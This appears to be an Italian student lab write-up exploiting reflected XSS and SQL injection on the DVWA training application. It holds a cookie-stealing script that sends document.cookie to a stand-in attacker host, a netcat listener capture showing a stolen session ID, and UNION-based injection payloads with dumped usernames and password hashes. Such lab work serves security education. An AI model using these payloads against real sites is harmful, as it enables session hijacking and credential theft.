

S6L2

Exploit DVWA - XSS Reflected e SQL injection

Configurare il laboratorio virtuale per sfruttare con successo le vulnerabilità XSS e SQL Injection sulla Damn Vulnerable Web Application (DVWA).

XSS

L'obiettivo è riuscire a rubare il cookie di sessione.

In questo caso andrò ad utilizzare uno script sulla macchina DVWA e mettendo Netcat in ascolto riuscirò a visualizzare il cookie direttamente sul tool.

Prima cosa bisogna mettere netcat in ascolto sulla porta 80.

Il comando `nc -lnvp 80` utilizza **Netcat** per mettere il sistema in modalità di ascolto su una specifica porta di rete. Ecco cosa significa ogni parametro:

- **nc**: il comando per Netcat, uno strumento versatile per la lettura e scrittura su connessioni di rete.
- **-l**: abilita la modalità di ascolto ("listen mode"), in cui Netcat si comporta come un server e rimane in attesa di connessioni in ingresso.
- **-n**: dice a Netcat di non fare risoluzione dei nomi DNS o host, aumentando la velocità e riducendo il rischio di errori di risoluzione.
- **-v**: abilita la modalità "verbose" (dettagliata), fornendo informazioni aggiuntive sulla connessione.
- **-p 80**: specifica la **porta 80** come la porta su cui Netcat deve mettersi in ascolto. La porta 80 è la porta HTTP standard, utilizzata per traffico web non cifrato.

Dopo di che entrerò nella macchina DVWA e nella sezione XSS Reflected andrò a scrivere il seguente script.

```
<script>
```

```
var xhttp = new XMLHttpRequest();
```

```
xhttp.open("GET", "http://attacker-server.com/steal-cookie?cookie=" + document.cookie, true);
```

```
xhttp.send();
```

```
</script>
```

Tornando sul terminale dove abbiamo avviato NetCat potremo notare che è riuscito a rubare il cookie di sessione.

```
(root@christian)-[/home/christian/Scrivania]
# nc -lnvp 80
listening on [any] 80 ...
connect to [192.168.154.6] from (UNKNOWN) [192.168.64.6] 59776
GET /steal-cookie?cookie=security=low;%20PHPSESSID=5e4c8bd2dc1e41889bed44021689c0c9 HTTP/1.1
Host: 192.168.64.6
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://192.168.1.161
Connection: keep-alive
Referer: http://192.168.1.161/
```

SQL Injection

L'obiettivo qui è andare a sfruttare una query (richiesta) che mi possa mostrare più informazioni possibili all'interno del database. Una query base che si può utilizzare è la seguente:

`' OR '1'='1`

Con questa richiesta noi andremo semplicemente a mandare una richiesta che **la condizione della query SQL risulterà vera** anche se la password è sbagliata, perché la seconda parte (`' 1 ' = ' 1 '`) è sempre vera. Questo potrebbe portare il sistema a restituire tutti i record che corrispondono all'username "admin" e, di conseguenza, concedere accesso all'utente malintenzionato.

Di fatto la risposta che otterremo sarà:

User ID:

Submit

ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith

Per ottenere delle risposte più avanzate abbiamo bisogno di una query più avanzata come questa:

`%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #`

In questo caso la risposta sarà:

User ID:

Submit

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#
First name:
Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#
First name:
Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#
First name:
Surname: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#
First name:
Surname: Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#
First name:
Surname: Bob
Smith
smithy
5f4dcc3b5aa765d61d8327deb882cf99